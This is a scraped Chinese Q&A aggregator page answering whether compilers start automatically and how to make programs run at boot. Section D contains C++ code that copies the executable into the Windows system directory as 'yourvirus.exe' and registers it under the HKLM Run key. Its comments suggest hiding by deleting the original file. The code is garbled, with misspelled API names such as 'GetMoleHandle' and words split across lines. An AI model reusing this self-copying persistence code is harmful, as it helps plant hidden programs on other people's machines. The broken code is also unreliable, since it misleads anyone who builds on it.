导航:首页 > 源码编译 > 编译程序是自动启动还是人工启动

编译程序是自动启动还是人工启动

发布时间:2022-07-03 02:09:49

A. 编译是在程序运行的时候还是在程序开发的时候。

编译在程序运行之前,用于生成可执行文件。
但注意有部分解释执行的语言不需要编译

B. 计算机是如何实现程序的自动执行的

没用官方解释,别介意,个人看法

1.通过系统提供的API接口(系统给用户提供了一些API接口调用)
2.做成驱动,和内核绑定到一起
3.做成服务程序

我们都知道计算机的启动的过程
加电---》bios---》引导boadloader---》进入32位虚拟空间----》加载内核(操作系统)-----》启动服务----》进入用户层
从这个过程中就基本上可以看到把应用程序放到哪儿,可以自动执行了

举个例子,在linux下稍微简单些
1.驱动源代码编写
2.编译成 .ko文件
3.可以以模块的形式加载也可以和内核一块编译
4.修改配置文件
完成自动运行...........................

C. 什么是编译程序 编译程序的工作过程

编译程序是变成语言在计算机上面运行的一种方式。
比如你现在编写(编译型语言)了你个程序文件并要运行它,但是计算机是不认识这个文件里面的东西的(其实计算机只认识0和1这样的数字),所以这里就需要把你自己写的程序文件翻译一遍,翻译过后并生成一个计算机能够识别的文件,把你原来的源文件翻译成计算机能够识别的文件的过程就叫编译,其实计算机运行的真正文件是编译过后的编译文件。

D. 如何用C/C++实现让自己编译的程序开机自启动

#include
<windows.h>
#include
<iostream.h>
/*
功能:使文件开机自动运行
思路:
获取文件的路径,将文件拷贝到系统文件夹之下;
在注册表中注册文件路径,使其开机自动运行。
提示:
如果要隐藏,另外可以在以上执行完毕之后,删除原始文件.
当然,还可以通过注册程序为系统服务,使其开机自动运行.
删除:
在执行程序之后,执行以下操作,使系统恢复原状:
1.
删除
C:\WINDOWS\system32\yourvirus.exe
2.
打开注册表:
[HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
删除键:Writing
to
the
Registry
Example
*/
void
main()
{
char
system[MAX_PATH];
//系统目录路径
char
pathtofile[MAX_PATH];
//要开机运行的文件的完整路径
HMODULE
GetModH
=
GetMoleHandle(NULL);
//得到当前执行文件的全路径
GetMoleFileName(GetModH,pathtofile,sizeof(pathtofile));
//得到系统文件所在目录的路径,如c:\windows\system32
GetSystemDirectory(system,sizeof(system));
//形成要复制到的全路径,如c:\windows\system32\yourvirus.exe
strcat(system,"\\yourvirus.exe");
//自我复制到目标路径
CopyFile(pathtofile,system,false);
//写入注册表,以便开机自动运行
HKEY
hKey;
//打开注册表:路径如下
//HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey
);
//新增一个值,名称随意命名,值为要开机运行的文件的完整路径
RegSetValueEx(hKey,
"Writing
to
the
Registry
Example",
0,REG_SZ,(const
unsigned
char*)system,sizeof(system));
//关闭注册表:
RegCloseKey(hKey);
/*可以加入其他功能*/
}

E. Linux如何开机自动启动编译过的程序

试试以后台方式自启动你需要运行的程序,./app.out &,就是在后面加上个&符号,而且我记得linux里面自启动程序在/etc/init.d/rcS里面吧。

F. 编译程序是直接执行源程序吗

编译程序一般不是执行源程序,而是把我们写的文字型的代码编译为二进制的内容,然后去执行二进制的内容。
有些编程语言是需要编译的必须先编译在执行,而有些是脚本型的,则直接运行源程序就可以。

G. C语言可以人工编译吗

你说的是不用集成环境来而是自己手动编译吧?可以的呀!
eg:打开控制台,然后把目录切换到你的编译器的bin目录下的编译核心程序(我用wintc,目录是:F:\Win-TC\bin\20cn),然后在控制台下输入"tcc
h.c"(h.c是我写的一个测试C程序),然后会在当前目录下生成可执行程序h.exe,然后你再在控制台下输入h.exe就可以看到编译结果了,当然,编译的时候有很多可选选项的,你可以翻看你的编译器手册...

H. 编译好的程序如何在linux启动时自动运行

可以将该二进制文件的路径写到/etc/rc.local文件中
比如运行该命令写入这个文件:echo '/root/teste' >> /etc/rc.local
单引号中的路径换成你的实际路径

I. c++如何判断程序启动方式(是由用户手工启动还windows服务启动)

你的问题本身就是个问题。
C++是编程语言,而windows程序的启动是由windows来决定,至于启动的方式,当然是由用户来决定,一般应用程序(比如:记事本),这是由用户双击记事本程序或点击记事本快捷图标,然后由windows启动,而对于windows服务程序,用户需要通过安装服务程序的方式,再由windows决定,是自动,还是手动启动。

你是不是想问:windows程序的启动方式?或者是,如何运行C++编写的程序?

对了,你的C++只是编程语言,你需要将C++源程序通过集成编译环境(比如:VS2010),编译成windows可执行程序,再由你自己双击运行。

J. 编译程序的工作过程一般可以划分为哪5个基本阶段,还自始至终伴随进行哪两项工作

1、编译程序把一个源程序翻译成目标程序的工作过程分为五个阶段:词法分析;语法分析;中间代码生成;代码优化;目标代码生成。

2、编译程序的工作过程一般自始至终伴随进行信息表管理和出错处理两项工作。

主要是进行词法分析和语法分析,又称为源程序分析,分析过程中发现有语法错误,给出提示信息。

(10)编译程序是自动启动还是人工启动扩展阅读:

解释程序是一种语言处理程序,在词法、语法和语义分析方面与编译程序的工作原理基本相同,但在运行用户程序时,它直接执行源程序或源程序的内部形式(中间代码)。因此,解释程序并不产生目标程序,这是它和编译程序的主要区别。解释程序的工作过程如下:

1、由总控程序完成初始化工作。

2、依次从源程序中取出一条语句进行语法检查,如有错,输出错误信息;如果通过了语法检查,则根据语句翻泽成相应的指令并执行它。

3、检查源程序是否已经全部解释执行完毕,如果未完成则继续解释并执行下一条语句,直到全部语句都处理完毕。

阅读全文

与编译程序是自动启动还是人工启动相关的资料

热点内容
喷油螺杆制冷压缩机 浏览:581
python员工信息登记表 浏览:377
高中美术pdf 浏览:161
java实现排列 浏览:513
javavector的用法 浏览:982
osi实现加密的三层 浏览:233
大众宝来原厂中控如何安装app 浏览:916
linux内核根文件系统 浏览:243
3d的命令面板不见了 浏览:526
武汉理工大学服务器ip地址 浏览:149
亚马逊云服务器登录 浏览:525
安卓手机如何进行文件处理 浏览:71
mysql执行系统命令 浏览:930
php支持curlhttps 浏览:143
新预算法责任 浏览:444
服务器如何处理5万人同时在线 浏览:251
哈夫曼编码数据压缩 浏览:428
锁定服务器是什么意思 浏览:385
场景检测算法 浏览:617
解压手机软件触屏 浏览:352